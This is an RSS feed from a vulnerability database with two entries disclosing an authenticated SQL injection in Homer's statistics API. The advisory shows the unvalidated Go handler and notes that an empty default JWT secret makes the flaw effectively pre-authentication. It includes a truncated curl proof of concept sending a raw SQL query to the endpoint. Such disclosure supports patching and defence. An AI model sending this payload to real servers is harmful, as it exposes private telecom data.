<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Thu, 08 Oct 2026 15:13:58 +0000</lastBuildDate>
    <item>
      <title>fkie_cve-2026-62251</title>
      <link>https://vulnerability.circl.lu/vuln/fkie_cve-2026-62251</link>
      <description>&lt;p&gt;Homer is open source telecom observability software. Prior to version 11.0.283, the `V4StatisticsQuery` handler passes the user-supplied `rawquery` field directly to DuckDB without calling the `sqlvalidator.ValidateRawSQL` function used throughout the rest of the codebase. Any authenticated user can execute arbitrary SQL statements against all data accessible through the FlightSQL service. Version 11.0.283 patches the issue.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Homer is open source telecom observability software. Prior to version 11.0.283, the `V4StatisticsQuery` handler passes the user-supplied `rawquery` field directly to DuckDB without calling the `sqlvalidator.ValidateRawSQL` function used throughout the rest of the codebase. Any authenticated user can execute arbitrary SQL statements against all data accessible through the FlightSQL service. Version 11.0.283 patches the issue.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/fkie_cve-2026-62251</guid>
    </item>
    <item>
      <title>GHSA-f46q-3v67-fmm4 — Homer: Authenticated SQL Injection via Unvalidated rawquery Field in /api/v4/statistics/query</title>
      <link>https://vulnerability.circl.lu/vuln/ghsa-f46q-3v67-fmm4</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/sipcapture/homer-app&lt;/p&gt;
&lt;p&gt;### Summary
The `V4StatisticsQuery` handler passes the user-supplied `rawquery` field directly to DuckDB without calling the `sqlvalidator.ValidateRawSQL` function used throughout the rest of the codebase. Any authenticated user can execute arbitrary SQL statements against all data accessible through the FlightSQL service.&lt;/p&gt;
&lt;p&gt;### Details
**`coordinator/handlers/statistics_v4.go` lines 74-107** — `V4StatisticsQuery`:
```go
query := &amp;amp;model.V4StatisticsQuery{}
if err = c.Bind(query); err != nil { ... }
// No ValidateRawSQL call here — contrast with other handlers:
results, err := h.flightService.Query(c.Request().Context(), query.RawQuery)
```&lt;/p&gt;
&lt;p&gt;**Contrast with `coordinator/handlers/search.go` line 194** — secure pattern not followed:
```go
if err := sqlvalidator.ValidateRawSQL(rawQuery); err != nil {
    return c.JSON(http.StatusBadRequest, ...)
}
```&lt;/p&gt;
&lt;p&gt;`query.RawQuery` is whatever the caller submitted; it is passed verbatim to the FlightSQL/DuckDB backend. The handler is registered under the `protected` group (requires JWT), but given that the default JWT secret is empty (see related advisory), this is effectively pre-authentication on a default deployment.&lt;/p&gt;
&lt;p&gt;### PoC
```bash
# With a valid JWT (or empty JWT secret bypass):
curl -s -X POST http://&amp;lt;homer-host&amp;gt;/api/v4/statistics/query \
  -H &amp;#34;Authorization: Bearer &amp;lt;jwt&amp;gt;&amp;#34; \
  -H &amp;#34;Content-Type: application/json&amp;#34; \
  -d &amp;#39;{
    &amp;#34;param&amp;#34;: {
      &amp;#34;query&amp;#34;: [{&amp;#34;rawquery&amp;#34;: &amp;#34;SELECT * FROM information_schema.tables&amp;#34;}]
    }
  }&amp;#39;
# Returns all ta…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/sipcapture/homer-app&lt;/p&gt;
&lt;p&gt;### Summary
The `V4StatisticsQuery` handler passes the user-supplied `rawquery` field directly to DuckDB without calling the `sqlvalidator.ValidateRawSQL` function used throughout the rest of the codebase. Any authenticated user can execute arbitrary SQL statements against all data accessible through the FlightSQL service.&lt;/p&gt;
&lt;p&gt;### Details
**`coordinator/handlers/statistics_v4.go` lines 74-107** — `V4StatisticsQuery`:
```go
query := &amp;amp;model.V4StatisticsQuery{}
if err = c.Bind(query); err != nil { ... }
// No ValidateRawSQL call here — contrast with other handlers:
results, err := h.flightService.Query(c.Request().Context(), query.RawQuery)
```&lt;/p&gt;
&lt;p&gt;**Contrast with `coordinator/handlers/search.go` line 194** — secure pattern not followed:
```go
if err := sqlvalidator.ValidateRawSQL(rawQuery); err != nil {
    return c.JSON(http.StatusBadRequest, ...)
}
```&lt;/p&gt;
&lt;p&gt;`query.RawQuery` is whatever the caller submitted; it is passed verbatim to the FlightSQL/DuckDB backend. The handler is registered under the `protected` group (requires JWT), but given that the default JWT secret is empty (see related advisory), this is effectively pre-authentication on a default deployment.&lt;/p&gt;
&lt;p&gt;### PoC
```bash
# With a valid JWT (or empty JWT secret bypass):
curl -s -X POST http://&amp;lt;homer-host&amp;gt;/api/v4/statistics/query \
  -H &amp;#34;Authorization: Bearer &amp;lt;jwt&amp;gt;&amp;#34; \
  -H &amp;#34;Content-Type: application/json&amp;#34; \
  -d &amp;#39;{
    &amp;#34;param&amp;#34;: {
      &amp;#34;query&amp;#34;: [{&amp;#34;rawquery&amp;#34;: &amp;#34;SELECT * FROM information_schema.tables&amp;#34;}]
    }
  }&amp;#39;
# Returns all ta…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/ghsa-f46q-3v67-fmm4</guid>
    </item>
  </channel>
</rss>
